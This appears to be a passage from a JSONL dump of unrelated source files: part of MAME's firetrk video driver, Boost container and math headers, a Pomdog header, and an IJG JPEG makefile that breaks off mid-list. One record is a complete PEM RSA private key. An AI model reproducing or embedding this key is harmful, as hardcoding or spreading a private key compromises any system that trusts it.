*m_car_rot & 0x04;\n\t\tflip_y = *m_car_rot & 0x08;\n\t\tx = 144;\n\t\ty = 104;\n\t}\n\n\t\tm_gfxdecode->gfx(gfx_bank)->transpen(bitmap,cliprect, code, color, flip_x, flip_y, x, y, 0);\n}\n\n\nvoid firetrk_state::superbug_draw_car(bitmap_ind16 &bitmap, const rectangle &cliprect, int flash)\n{\n\tint gfx_bank = (*m_car_rot & 0x10) ? 4 : 3;\n\tint code = ~*m_car_rot & 0x03;\n\tint color = flash ? 1 : 0;\n\tint flip_x = *m_car_rot & 0x04;\n\tint flip_y = *m_car_rot & 0x08;\n\n\t\tm_gfxdecode->gfx(gfx_bank)->transpen(bitmap,cliprect, code, color, flip_x, flip_y, 144, 104, 0);\n}\n\n\nvoid firetrk_state::montecar_draw_car(bitmap_ind16 &bitmap, const rectangle &cliprect, int which, int is_collision_detection)\n{\n\tint gfx_bank, code, color, flip_x, flip_y, x, y;\n\n\tif (which)\n\t{\n\t\tgfx_bank = 4;\n\t\tcode = *m_drone_rot & 0x07;\n\t\tcolor = is_collision_detection ? 0 : (((*m_car_rot & 0x80) >> 6) | ((*m_drone_rot & 0x80) >> 7));\n\t\tflip_x = *m_drone_rot & 0x10;\n\t\tflip_y = *m_drone_rot & 0x08;\n\t\tx = (flip_x ? *m_drone_x - 31 : 224 - *m_drone_x) + 34;\n\t\ty = flip_y ? *m_drone_y - 31 : 224 - *m_drone_y;\n\t}\n\telse\n\t{\n\t\tgfx_bank = 3;\n\t\tcode = *m_car_rot & 0x07;\n\t\tcolor = 0;\n\t\tflip_x = *m_car_rot & 0x10;\n\t\tflip_y = *m_car_rot & 0x08;\n\t\tx = 144;\n\t\ty = 104;\n\t}\n\n\t\tm_gfxdecode->gfx(gfx_bank)->transpen(bitmap,cliprect, code, color, flip_x, flip_y, x, y, 0);\n}\n\n\nvoid firetrk_state::draw_text(bitmap_ind16 &bitmap, const rectangle &cliprect, uint8_t *alpha_ram,\n\t\t\t\t\t\tint x, int count, int height)\n{\n\tint i;\n\n\tfor (i = 0; i < count; i++)\n\t\t\tm_gfxdecode->gfx(0)->opaque(bitmap,cliprect, alpha_ram[i], 0, 0, 0, x, i * height);\n}\n\n\nvoid firetrk_state::check_collision(int which)\n{\n\tfor (int y = playfield_window.top(); y <= playfield_window.bottom(); y++)\n\t\tfor (int x = playfield_window.left(); x <= playfield_window.right(); x++)\n\t\t{\n\t\t\tpen_t const a = m_helper1.pix(y, x);\n\t\t\tpen_t const b = m_helper2.pix(y, x);\n\n\t\t\tif (b != 0xff && (m_color1_mask >> a) & 1)\n\t\t\t\tm_crash[which] = 1;\n\n\t\t\tif (b != 0xff && (m_color2_mask >> a) & 1)\n\t\t\t\tm_skid[which] = 1;\n\t\t}\n}\n\n\nuint32_t firetrk_state::screen_update_firetrk(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect)\n{\n\tmachine().tilemap().mark_all_dirty();\n\tm_tilemap1->set_scrollx(0, *m_scroll_x - 37);\n\tm_tilemap2->set_scrollx(0, *m_scroll_x - 37);\n\tm_tilemap1->set_scrolly(0, *m_scroll_y);\n\tm_tilemap2->set_scrolly(0, *m_scroll_y);\n\n\tbitmap.fill(0, cliprect);\n\tm_tilemap1->draw(screen, bitmap, playfield_window, 0, 0);\n\tfiretrk_draw_car(bitmap, playfield_window, 0, m_flash);\n\tfiretrk_draw_car(bitmap, playfield_window, 1, m_flash);\n\tdraw_text(bitmap, cliprect, m_alpha_num_ram + 0x00, 296, 0x10, 0x10);\n\tdraw_text(bitmap, cliprect, m_alpha_num_ram + 0x10, 8, 0x10, 0x10);\n\n\tif (cliprect.bottom() == screen.visible_area().bottom())\n\t{\n\t\tm_tilemap2->draw(screen, m_helper1, playfield_window, 0, 0);\n\n\t\tm_helper2.fill(0xff, playfield_window);\n\t\tfiretrk_draw_car(m_helper2, playfield_window, 0, false);\n\t\tcheck_collision(0);\n\n\t\tm_helper2.fill(0xff, playfield_window);\n\t\tfiretrk_draw_car(m_helper2, playfield_window, 1, false);\n\t\tcheck_collision(1);\n\n\t\t*m_blink = false;\n\t}\n\n\treturn 0;\n}\n\n\nuint32_t firetrk_state::screen_update_superbug(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect)\n{\n\tmachine().tilemap().mark_all_dirty();\n\tm_tilemap1->set_scrollx(0, *m_scroll_x - 37);\n\tm_tilemap2->set_scrollx(0, *m_scroll_x - 37);\n\tm_tilemap1->set_scrolly(0, *m_scroll_y);\n\tm_tilemap2->set_scrolly(0, *m_scroll_y);\n\n\tbitmap.fill(0, cliprect);\n\tm_tilemap1->draw(screen, bitmap, playfield_window, 0, 0);\n\tsuperbug_draw_car(bitmap, playfield_window, m_flash);\n\tdraw_text(bitmap, cliprect, m_alpha_num_ram + 0x00, 296, 0x10, 0x10);\n\tdraw_text(bitmap, cliprect, m_alpha_num_ram + 0x10, 8, 0x10, 0x10);\n\n\tif (cliprect.bottom() == screen.visible_area().bottom())\n\t{\n\t\tm_tilemap2->draw(screen, m_helper1, playfield_window, 0, 0);\n\n\t\tm_helper2.fill(0xff, playfield_window);\n\t\tsuperbug_draw_car(m_helper2, playfield_window, false);\n\t\tcheck_collision(0);\n\n\t\t*m_blink = false;\n\t}\n\n\treturn 0;\n}\n\n\nuint32_t firetrk_state::screen_update_montecar(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect)\n{\n\tmachine().tilemap().mark_all_dirty();\n\tm_tilemap1->set_scrollx(0, *m_scroll_x - 37);\n\tm_tilemap2->set_scrollx(0, *m_scroll_x - 37);\n\tm_tilemap1->set_scrolly(0, *m_scroll_y);\n\tm_tilemap2->set_scrolly(0, *m_scroll_y);\n\n\tbitmap.fill(0x2c, cliprect);\n\tm_tilemap1->draw(screen, bitmap, playfield_window, 0, 0);\n\tmontecar_draw_car(bitmap, playfield_window, 0, false);\n\tmontecar_draw_car(bitmap, playfield_window, 1, false);\n\tdraw_text(bitmap, cliprect, m_alpha_num_ram + 0x00, 24, 0x20, 0x08);\n\tdraw_text(bitmap, cliprect, m_alpha_num_ram + 0x20, 16, 0x20, 0x08);\n\n\tif (cliprect.bottom() == screen.visible_area().bottom())\n\t{\n\t\tm_tilemap2->draw(screen, m_helper1, playfield_window, 0, 0);\n\n\t\tm_helper2.fill(0xff, playfield_window);\n\t\tmontecar_draw_car(m_helper2, playfield_window, 0, true);\n\t\tcheck_collision(0);\n\n\t\tm_helper2.fill(0xff, playfield_window);\n\t\tmontecar_draw_car(m_helper2, playfield_window, 1, true);\n\t\tcheck_collision(1);\n\t}\n\n\treturn 0;\n}\n"} +{"text": "//////////////////////////////////////////////////////////////////////////////\n//\n// (C) Copyright Ion Gaztanaga 2015-2015. Distributed under the Boost\n// Software License, Version 1.0. (See accompanying file\n// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n// See http://www.boost.org/libs/container for documentation.\n//\n//////////////////////////////////////////////////////////////////////////////\n\n#ifndef BOOST_CONTAINER_PMR_SMALL_VECTOR_HPP\n#define BOOST_CONTAINER_PMR_SMALL_VECTOR_HPP\n\n#if defined (_MSC_VER)\n# pragma once \n#endif\n\n#include \n#include \n\nnamespace boost {\nnamespace container {\nnamespace pmr {\n\n#if !defined(BOOST_NO_CXX11_TEMPLATE_ALIASES)\n\ntemplate \nusing small_vector = boost::container::small_vector>;\n\n#endif\n\n//! A portable metafunction to obtain a small_vector\n//! that uses a polymorphic allocator\ntemplate\nstruct small_vector_of\n{\n typedef boost::container::small_vector\n < T, N, polymorphic_allocator > type;\n};\n\n} //namespace pmr {\n} //namespace container {\n} //namespace boost {\n\n#endif //BOOST_CONTAINER_PMR_SMALL_VECTOR_HPP\n"} +{"text": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA4f5wg5l2hKsTeNem/V41fGnJm6gOdrj8ym3rFkEU/wT8RDtn\nSgFEZOQpHEgQ7JL38xUfU0Y3g6aYw9QT0hJ7mCpz9Er5qLaMXJwZxzHzAahlfA0i\ncqabvJOMvQtzD6uQv6wPEyZtDTWiQi9AXwBpHssPnpYGIn20ZZuNlX2BrClciHhC\nPUIIZOQn/MmqTD31jSyjoQoV7MhhMTATKJx2XrHhR+1DcKJzQBSTAGnpYVaqpsAR\nap+nwRipr3nUTuxyGohBTSmjJ2usSeQXHI3bODIRe1AuTyHceAbewn8b462yEWKA\nRdpd9AjQW5SIVPfdsz5B6GlYQ5LdYKtznTuy7wIDAQABAoIBAQCwia1k7+2oZ2d3\nn6agCAbqIE1QXfCmh41ZqJHbOY3oRQG3X1wpcGH4Gk+O+zDVTV2JszdcOt7E5dAy\nMaomETAhRxB7hlIOnEN7WKm+dGNrKRvV0wDU5ReFMRHg31/Lnu8c+5BvGjZX+ky9\nPOIhFFYJqwCRlopGSUIxmVj5rSgtzk3iWOQXr+ah1bjEXvlxDOWkHN6YfpV5ThdE\nKdBIPGEVqa63r9n2h+qazKrtiRqJqGnOrHzOECYbRFYhexsNFz7YT02xdfSHn7gM\nIvabDDP/Qp0PjE1jdouiMaFHYnLBbgvlnZW9yuVf/rpXTUq/njxIXMmvmEyyvSDn\nFcFikB8pAoGBAPF77hK4m3/rdGT7X8a/gwvZ2R121aBcdPwEaUhvj/36dx596zvY\nmEOjrWfZhF083/nYWE2kVquj2wjs+otCLfifEEgXcVPTnEOPO9Zg3uNSL0nNQghj\nFuD3iGLTUBCtM66oTe0jLSslHe8gLGEQqyMzHOzYxNqibxcOZIe8Qt0NAoGBAO+U\nI5+XWjWEgDmvyC3TrOSf/KCGjtu0TSv30ipv27bDLMrpvPmD/5lpptTFwcxvVhCs\n2b+chCjlghFSWFbBULBrfci2FtliClOVMYrlNBdUSJhf3aYSG2Doe6Bgt1n2CpNn\n/iu37Y3NfemZBJA7hNl4dYe+f+uzM87cdQ214+jrAoGAXA0XxX8ll2+ToOLJsaNT\nOvNB9h9Uc5qK5X5w+7G7O998BN2PC/MWp8H+2fVqpXgNENpNXttkRm1hk1dych86\nEunfdPuqsX+as44oCyJGFHVBnWpm33eWQw9YqANRI+pCJzP08I5WK3osnPiwshd+\nhR54yjgfYhBFNI7B95PmEQkCgYBzFSz7h1+s34Ycr8SvxsOBWxymG5zaCsUbPsL0\n4aCgLScCHb9J+E86aVbbVFdglYa5Id7DPTL61ixhl7WZjujspeXZGSbmq0Kcnckb\nmDgqkLECiOJW2NHP/j0McAkDLL4tysF8TLDO8gvuvzNC+WQ6drO2ThrypLVZQ+ry\neBIPmwKBgEZxhqa0gVvHQG/7Od69KWj4eJP28kq13RhKay8JOoN0vPmspXJo1HY3\nCKuHRG+AP579dncdUnOMvfXOtkdM4vk0+hWASBQzM9xzVcztCa+koAugjVaLS9A+\n9uQoqEeVNTckxx0S2bYevRy7hGQmUJTyQm3j1zEUR5jpdbL83Fbq\n-----END RSA PRIVATE KEY-----\n"} +{"text": "// fp_traits.hpp\n\n#ifndef BOOST_MATH_FP_TRAITS_HPP\n#define BOOST_MATH_FP_TRAITS_HPP\n\n// Copyright (c) 2006 Johan Rade\n\n// Distributed under the Boost Software License, Version 1.0.\n// (See accompanying file LICENSE_1_0.txt\n// or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n/*\nTo support old compilers, care has been taken to avoid partial template\nspecialization and meta function forwarding.\nWith these techniques, the code could be simplified.\n*/\n\n#if defined(__vms) && defined(__DECCXX) && !__IEEE_FLOAT\n// The VAX floating point formats are used (for float and double)\n# define BOOST_FPCLASSIFY_VAX_FORMAT\n#endif\n\n#include \n\n#include \n#include \n#include \n#include \n#include \n\n#ifdef BOOST_NO_STDC_NAMESPACE\n namespace std{ using ::memcpy; }\n#endif\n\n#ifndef FP_NORMAL\n\n#define FP_ZERO 0\n#define FP_NORMAL 1\n#define FP_INFINITE 2\n#define FP_NAN 3\n#define FP_SUBNORMAL 4\n\n#else\n\n#define BOOST_HAS_FPCLASSIFY\n\n#ifndef fpclassify\n# if (defined(__GLIBCPP__) || defined(__GLIBCXX__)) \\\n && defined(_GLIBCXX_USE_C99_MATH) \\\n && !(defined(_GLIBCXX_USE_C99_FP_MACROS_DYNAMIC) \\\n && (_GLIBCXX_USE_C99_FP_MACROS_DYNAMIC != 0))\n# ifdef _STLP_VENDOR_CSTD\n# if _STLPORT_VERSION >= 0x520\n# define BOOST_FPCLASSIFY_PREFIX ::__std_alias:: \n# else\n# define BOOST_FPCLASSIFY_PREFIX ::_STLP_VENDOR_CSTD:: \n# endif\n# else\n# define BOOST_FPCLASSIFY_PREFIX ::std::\n# endif\n# else\n# undef BOOST_HAS_FPCLASSIFY\n# define BOOST_FPCLASSIFY_PREFIX\n# endif\n#elif (defined(__HP_aCC) && !defined(__hppa))\n// aCC 6 appears to do \"#define fpclassify fpclassify\" which messes us up a bit!\n# define BOOST_FPCLASSIFY_PREFIX ::\n#else\n# define BOOST_FPCLASSIFY_PREFIX\n#endif\n\n#ifdef __MINGW32__\n# undef BOOST_HAS_FPCLASSIFY\n#endif\n\n#endif\n\n\n//------------------------------------------------------------------------------\n\nnamespace lslboost {\nnamespace math {\nnamespace detail {\n\n//------------------------------------------------------------------------------\n\n/* \nThe following classes are used to tag the different methods that are used\nfor floating point classification\n*/\n\nstruct native_tag {};\ntemplate \nstruct generic_tag {};\nstruct ieee_tag {};\nstruct ieee_copy_all_bits_tag : public ieee_tag {};\nstruct ieee_copy_leading_bits_tag : public ieee_tag {};\n\n#ifdef BOOST_NO_LIMITS_COMPILE_TIME_CONSTANTS\n//\n// These helper functions are used only when numeric_limits<>\n// members are not compile time constants:\n//\ninline bool is_generic_tag_false(const generic_tag*)\n{\n return true;\n}\ninline bool is_generic_tag_false(const void*)\n{\n return false;\n}\n#endif\n\n//------------------------------------------------------------------------------\n\n/*\nMost processors support three different floating point precisions:\nsingle precision (32 bits), double precision (64 bits)\nand extended double precision (80 - 128 bits, depending on the processor)\n\nNote that the C++ type long double can be implemented\nboth as double precision and extended double precision.\n*/\n\nstruct unknown_precision{};\nstruct single_precision {};\nstruct double_precision {};\nstruct extended_double_precision {};\n\n// native_tag version --------------------------------------------------------------\n\ntemplate struct fp_traits_native\n{\n typedef native_tag method;\n};\n\n// generic_tag version -------------------------------------------------------------\n\ntemplate struct fp_traits_non_native\n{\n#ifndef BOOST_NO_LIMITS_COMPILE_TIME_CONSTANTS\n typedef generic_tag::is_specialized> method;\n#else\n typedef generic_tag method;\n#endif\n};\n\n// ieee_tag versions ---------------------------------------------------------------\n\n/*\nThese specializations of fp_traits_non_native contain information needed\nto \"parse\" the binary representation of a floating point number.\n\nTypedef members:\n\n bits -- the target type when copying the leading bytes of a floating\n point number. It is a typedef for uint32_t or uint64_t.\n\n method -- tells us whether all bytes are copied or not.\n It is a typedef for ieee_copy_all_bits_tag or ieee_copy_leading_bits_tag.\n\nStatic data members:\n\n sign, exponent, flag, significand -- bit masks that give the meaning of the\n bits in the leading bytes.\n\nStatic function members:\n\n get_bits(), set_bits() -- provide access to the leading bytes.\n\n*/\n\n// ieee_tag version, float (32 bits) -----------------------------------------------\n\n#ifndef BOOST_FPCLASSIFY_VAX_FORMAT\n\ntemplate<> struct fp_traits_non_native\n{\n typedef ieee_copy_all_bits_tag method;\n\n BOOST_STATIC_CONSTANT(uint32_t, sign = 0x80000000u);\n BOOST_STATIC_CONSTANT(uint32_t, exponent = 0x7f800000);\n BOOST_STATIC_CONSTANT(uint32_t, flag = 0x00000000);\n BOOST_STATIC_CONSTANT(uint32_t, significand = 0x007fffff);\n\n typedef uint32_t bits;\n static void get_bits(float x, uint32_t& a) { std::memcpy(&a, &x, 4); }\n static void set_bits(float& x, uint32_t a) { std::memcpy(&x, &a, 4); }\n};\n\n// ieee_tag version, double (64 bits) ----------------------------------------------\n\n#if defined(BOOST_NO_INT64_T) || defined(BOOST_NO_INCLASS_MEMBER_INITIALIZATION) \\\n || defined(__BORLANDC__) || defined(__CODEGEAR__)\n\ntemplate<> struct fp_traits_non_native\n{\n typedef ieee_copy_leading_bits_tag method;\n\n BOOST_STATIC_CONSTANT(uint32_t, sign = 0x80000000u);\n BOOST_STATIC_CONSTANT(uint32_t, exponent = 0x7ff00000);\n BOOST_STATIC_CONSTANT(uint32_t, flag = 0);\n BOOST_STATIC_CONSTANT(uint32_t, significand = 0x000fffff);\n\n typedef uint32_t bits;\n\n static void get_bits(double x, uint32_t& a)\n {\n std::memcpy(&a, reinterpret_cast(&x) + offset_, 4);\n }\n\n static void set_bits(double& x, uint32_t a)\n {\n std::memcpy(reinterpret_cast(&x) + offset_, &a, 4);\n }\n\nprivate:\n\n#if defined(BOOST_BIG_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 0);\n#elif defined(BOOST_LITTLE_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 4);\n#else\n BOOST_STATIC_ASSERT(false);\n#endif\n};\n\n//..............................................................................\n\n#else\n\ntemplate<> struct fp_traits_non_native\n{\n typedef ieee_copy_all_bits_tag method;\n\n static const uint64_t sign = ((uint64_t)0x80000000u) << 32;\n static const uint64_t exponent = ((uint64_t)0x7ff00000) << 32;\n static const uint64_t flag = 0;\n static const uint64_t significand\n = (((uint64_t)0x000fffff) << 32) + ((uint64_t)0xffffffffu);\n\n typedef uint64_t bits;\n static void get_bits(double x, uint64_t& a) { std::memcpy(&a, &x, 8); }\n static void set_bits(double& x, uint64_t a) { std::memcpy(&x, &a, 8); }\n};\n\n#endif\n\n#endif // #ifndef BOOST_FPCLASSIFY_VAX_FORMAT\n\n// long double (64 bits) -------------------------------------------------------\n\n#if defined(BOOST_NO_INT64_T) || defined(BOOST_NO_INCLASS_MEMBER_INITIALIZATION)\\\n || defined(__BORLANDC__) || defined(__CODEGEAR__)\n\ntemplate<> struct fp_traits_non_native\n{\n typedef ieee_copy_leading_bits_tag method;\n\n BOOST_STATIC_CONSTANT(uint32_t, sign = 0x80000000u);\n BOOST_STATIC_CONSTANT(uint32_t, exponent = 0x7ff00000);\n BOOST_STATIC_CONSTANT(uint32_t, flag = 0);\n BOOST_STATIC_CONSTANT(uint32_t, significand = 0x000fffff);\n\n typedef uint32_t bits;\n\n static void get_bits(long double x, uint32_t& a)\n {\n std::memcpy(&a, reinterpret_cast(&x) + offset_, 4);\n }\n\n static void set_bits(long double& x, uint32_t a)\n {\n std::memcpy(reinterpret_cast(&x) + offset_, &a, 4);\n }\n\nprivate:\n\n#if defined(BOOST_BIG_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 0);\n#elif defined(BOOST_LITTLE_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 4);\n#else\n BOOST_STATIC_ASSERT(false);\n#endif\n};\n\n//..............................................................................\n\n#else\n\ntemplate<> struct fp_traits_non_native\n{\n typedef ieee_copy_all_bits_tag method;\n\n static const uint64_t sign = (uint64_t)0x80000000u << 32;\n static const uint64_t exponent = (uint64_t)0x7ff00000 << 32;\n static const uint64_t flag = 0;\n static const uint64_t significand\n = ((uint64_t)0x000fffff << 32) + (uint64_t)0xffffffffu;\n\n typedef uint64_t bits;\n static void get_bits(long double x, uint64_t& a) { std::memcpy(&a, &x, 8); }\n static void set_bits(long double& x, uint64_t a) { std::memcpy(&x, &a, 8); }\n};\n\n#endif\n\n\n// long double (>64 bits), x86 and x64 -----------------------------------------\n\n#if defined(__i386) || defined(__i386__) || defined(_M_IX86) \\\n || defined(__amd64) || defined(__amd64__) || defined(_M_AMD64) \\\n || defined(__x86_64) || defined(__x86_64__) || defined(_M_X64)\n\n// Intel extended double precision format (80 bits)\n\ntemplate<>\nstruct fp_traits_non_native\n{\n typedef ieee_copy_leading_bits_tag method;\n\n BOOST_STATIC_CONSTANT(uint32_t, sign = 0x80000000u);\n BOOST_STATIC_CONSTANT(uint32_t, exponent = 0x7fff0000);\n BOOST_STATIC_CONSTANT(uint32_t, flag = 0x00008000);\n BOOST_STATIC_CONSTANT(uint32_t, significand = 0x00007fff);\n\n typedef uint32_t bits;\n\n static void get_bits(long double x, uint32_t& a)\n {\n std::memcpy(&a, reinterpret_cast(&x) + 6, 4);\n }\n\n static void set_bits(long double& x, uint32_t a)\n {\n std::memcpy(reinterpret_cast(&x) + 6, &a, 4);\n }\n};\n\n\n// long double (>64 bits), Itanium ---------------------------------------------\n\n#elif defined(__ia64) || defined(__ia64__) || defined(_M_IA64)\n\n// The floating point format is unknown at compile time\n// No template specialization is provided.\n// The generic_tag definition is used.\n\n// The Itanium supports both\n// the Intel extended double precision format (80 bits) and\n// the IEEE extended double precision format with 15 exponent bits (128 bits).\n\n#elif defined(__GNUC__) && (LDBL_MANT_DIG == 106)\n\n//\n// Define nothing here and fall though to generic_tag:\n// We have GCC's \"double double\" in effect, and any attempt\n// to handle it via bit-fiddling is pretty much doomed to fail...\n//\n\n// long double (>64 bits), PowerPC ---------------------------------------------\n\n#elif defined(__powerpc) || defined(__powerpc__) || defined(__POWERPC__) \\\n || defined(__ppc) || defined(__ppc__) || defined(__PPC__)\n\n// PowerPC extended double precision format (128 bits)\n\ntemplate<>\nstruct fp_traits_non_native\n{\n typedef ieee_copy_leading_bits_tag method;\n\n BOOST_STATIC_CONSTANT(uint32_t, sign = 0x80000000u);\n BOOST_STATIC_CONSTANT(uint32_t, exponent = 0x7ff00000);\n BOOST_STATIC_CONSTANT(uint32_t, flag = 0x00000000);\n BOOST_STATIC_CONSTANT(uint32_t, significand = 0x000fffff);\n\n typedef uint32_t bits;\n\n static void get_bits(long double x, uint32_t& a)\n {\n std::memcpy(&a, reinterpret_cast(&x) + offset_, 4);\n }\n\n static void set_bits(long double& x, uint32_t a)\n {\n std::memcpy(reinterpret_cast(&x) + offset_, &a, 4);\n }\n\nprivate:\n\n#if defined(BOOST_BIG_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 0);\n#elif defined(BOOST_LITTLE_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 12);\n#else\n BOOST_STATIC_ASSERT(false);\n#endif\n};\n\n\n// long double (>64 bits), Motorola 68K ----------------------------------------\n\n#elif defined(__m68k) || defined(__m68k__) \\\n || defined(__mc68000) || defined(__mc68000__) \\\n\n// Motorola extended double precision format (96 bits)\n\n// It is the same format as the Intel extended double precision format,\n// except that 1) it is big-endian, 2) the 3rd and 4th byte are padding, and\n// 3) the flag bit is not set for infinity\n\ntemplate<>\nstruct fp_traits_non_native\n{\n typedef ieee_copy_leading_bits_tag method;\n\n BOOST_STATIC_CONSTANT(uint32_t, sign = 0x80000000u);\n BOOST_STATIC_CONSTANT(uint32_t, exponent = 0x7fff0000);\n BOOST_STATIC_CONSTANT(uint32_t, flag = 0x00008000);\n BOOST_STATIC_CONSTANT(uint32_t, significand = 0x00007fff);\n\n // copy 1st, 2nd, 5th and 6th byte. 3rd and 4th byte are padding.\n\n typedef uint32_t bits;\n\n static void get_bits(long double x, uint32_t& a)\n {\n std::memcpy(&a, &x, 2);\n std::memcpy(reinterpret_cast(&a) + 2,\n reinterpret_cast(&x) + 4, 2);\n }\n\n static void set_bits(long double& x, uint32_t a)\n {\n std::memcpy(&x, &a, 2);\n std::memcpy(reinterpret_cast(&x) + 4,\n reinterpret_cast(&a) + 2, 2);\n }\n};\n\n\n// long double (>64 bits), All other processors --------------------------------\n\n#else\n\n// IEEE extended double precision format with 15 exponent bits (128 bits)\n\ntemplate<>\nstruct fp_traits_non_native\n{\n typedef ieee_copy_leading_bits_tag method;\n\n BOOST_STATIC_CONSTANT(uint32_t, sign = 0x80000000u);\n BOOST_STATIC_CONSTANT(uint32_t, exponent = 0x7fff0000);\n BOOST_STATIC_CONSTANT(uint32_t, flag = 0x00000000);\n BOOST_STATIC_CONSTANT(uint32_t, significand = 0x0000ffff);\n\n typedef uint32_t bits;\n\n static void get_bits(long double x, uint32_t& a)\n {\n std::memcpy(&a, reinterpret_cast(&x) + offset_, 4);\n }\n\n static void set_bits(long double& x, uint32_t a)\n {\n std::memcpy(reinterpret_cast(&x) + offset_, &a, 4);\n }\n\nprivate:\n\n#if defined(BOOST_BIG_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 0);\n#elif defined(BOOST_LITTLE_ENDIAN)\n BOOST_STATIC_CONSTANT(int, offset_ = 12);\n#else\n BOOST_STATIC_ASSERT(false);\n#endif\n};\n\n#endif\n\n//------------------------------------------------------------------------------\n\n// size_to_precision is a type switch for converting a C++ floating point type\n// to the corresponding precision type.\n\ntemplate struct size_to_precision\n{\n typedef unknown_precision type;\n};\n\ntemplate<> struct size_to_precision<4, true>\n{\n typedef single_precision type;\n};\n\ntemplate<> struct size_to_precision<8, true>\n{\n typedef double_precision type;\n};\n\ntemplate<> struct size_to_precision<10, true>\n{\n typedef extended_double_precision type;\n};\n\ntemplate<> struct size_to_precision<12, true>\n{\n typedef extended_double_precision type;\n};\n\ntemplate<> struct size_to_precision<16, true>\n{\n typedef extended_double_precision type;\n};\n\n//------------------------------------------------------------------------------\n//\n// Figure out whether to use native classification functions based on\n// whether T is a built in floating point type or not:\n//\ntemplate \nstruct select_native\n{\n typedef BOOST_DEDUCED_TYPENAME size_to_precision::value>::type precision;\n typedef fp_traits_non_native type;\n};\ntemplate<>\nstruct select_native\n{\n typedef fp_traits_native type;\n};\ntemplate<>\nstruct select_native\n{\n typedef fp_traits_native type;\n};\ntemplate<>\nstruct select_native\n{\n typedef fp_traits_native type;\n};\n\n//------------------------------------------------------------------------------\n\n// fp_traits is a type switch that selects the right fp_traits_non_native\n\n#if (defined(BOOST_MATH_USE_C99) && !(defined(__GNUC__) && (__GNUC__ < 4))) \\\n && !defined(__hpux) \\\n && !defined(__DECCXX)\\\n && !defined(__osf__) \\\n && !defined(__SGI_STL_PORT) && !defined(_STLPORT_VERSION)\\\n && !defined(__FAST_MATH__)\\\n && !defined(BOOST_MATH_DISABLE_STD_FPCLASSIFY)\\\n && !defined(BOOST_INTEL)\\\n && !defined(sun)\n# define BOOST_MATH_USE_STD_FPCLASSIFY\n#endif\n\ntemplate struct fp_traits\n{\n typedef BOOST_DEDUCED_TYPENAME size_to_precision::value>::type precision;\n#if defined(BOOST_MATH_USE_STD_FPCLASSIFY) && !defined(BOOST_MATH_DISABLE_STD_FPCLASSIFY)\n typedef typename select_native::type type;\n#else\n typedef fp_traits_non_native type;\n#endif\n typedef fp_traits_non_native sign_change_type;\n};\n\n//------------------------------------------------------------------------------\n\n} // namespace detail\n} // namespace math\n} // namespace lslboost\n\n#endif\n"} +{"text": "// Copyright (c) 2013-2020 mogemimi. Distributed under the MIT license.\n\n#pragma once\n\n#include \"Pomdog/Basic/Export.hpp\"\n#include \n#include \n\nnamespace Pomdog {\n\nstruct POMDOG_EXPORT GamepadUUID final {\n std::uint16_t BusType = 0;\n std::uint16_t VendorID = 0;\n std::uint16_t ProductID = 0;\n std::uint16_t VersionNumber = 0;\n\n std::string ToString() const;\n};\n\n} // namespace Pomdog\n"} +{"text": "# Makefile for Independent JPEG Group's software\n\n# This makefile is suitable for Unix-like systems with non-ANSI compilers.\n# If you have an ANSI compiler, makefile.ansi is a better starting point.\n\n# Read installation instructions before saying \"make\" !!\n\n# The name of your C compiler:\nCC= cc\n\n# You may need to adjust these cc options:\nCFLAGS= -O\n# Generally, we recommend defining any configuration symbols in jconfig.h,\n# NOT via -D switches here.\n# However, any special defines for ansi2knr.c may be included here:\nANSI2KNRFLAGS= \n\n# Link-time cc options:\nLDFLAGS= \n\n# To link any special libraries, add the necessary -l commands here.\nLDLIBS= \n\n# Put here the object file name for the correct system-dependent memory\n# manager file. For Unix this is usually jmemnobs.o, but you may want\n# to use jmemansi.o or jmemname.o if you have limited swap space.\nSYSDEPMEM= jmemnobs.o\n\n# miscellaneous OS-dependent stuff\n# linker\nLN= $(CC)\n# file deletion command\nRM= rm -f\n# file rename command\nMV= mv\n# library (.a) file creation command\nAR= ar rc\n# second step in .a creation (use \"touch\" if not needed)\nAR2= ranlib\n\n# End of configurable options.\n\n\n# source files: JPEG library proper\nLIBSOURCES= jaricom.c jcapimin.c jcapistd.c jcarith.c jccoefct.c jccolor.c \\\n jcdctmgr.c jchuff.c jcinit.c jcmainct.c jcmarker.c jcmaster.c \\\n jcomapi.c jcparam.c jcprepct.c jcsample.c jctrans.c jdapimin.c \\\n jdapistd.c jdarith.c jdatadst.c jdatasrc.c jdcoefct.c jdcolor.c \\\n jddctmgr.c jdhuff.c jdinput.c jdmainct.c jdmarker.c jdmaster.c \\\n jdmerge.c jdpostct.c jdsample.c jdtrans.c jerror.c jfdctflt.c \\\n jfdctfst.c jfdctint.c jidctflt.c jidctfst.c jidctint.c jquant1.c \\\n jquant2.c jutils.c jmemmgr.c\n# memmgr back ends: compile only one of these into a working library\nSYSDEPSOURCES= jmemansi.c jmemname.c jmemnobs.c jmemdos.c jmemmac.c\n# source files: cjpeg/djpeg/jpegtran applications, also rdjpgcom/wrjpgcom\nAPPSOURCES= cjpeg.c djpeg.c jpegtran.c rdjpgcom.c wrjpgcom.c cdjpeg.c \\\n rdcolmap.c rdswitch.c transupp.c rdppm.c wrppm.c rdgif.c wrgif.c \\\n rdtarga.c wrtarga.c rdbmp.c wrbmp.c rdrle.c wrrle.c\nSOURCES= $(LIBSOURCES) $(SYSDEPSOURCES) $(APPSOURCES)\n# files included by source files\nINCLUDES= jdct.h jerror.h jinclude.h jmemsys.h jmorecfg.h jpegint.h \\\n jpeglib.h jversion.h cdjpeg.h cderror.h transupp.h\n# documentation, test, and support files\nDOCS= README install.txt usage.txt cjpeg.1 djpeg.1 jpegtran.1 rdjpgcom.1 \\\n wrjpgcom.1 wizard.txt example.c libjpeg.txt structure.txt \\\n coderules.txt filelist.txt change.log\nMKFILES= configure Makefile.in makefile.ansi makefile.unix makefile.b32 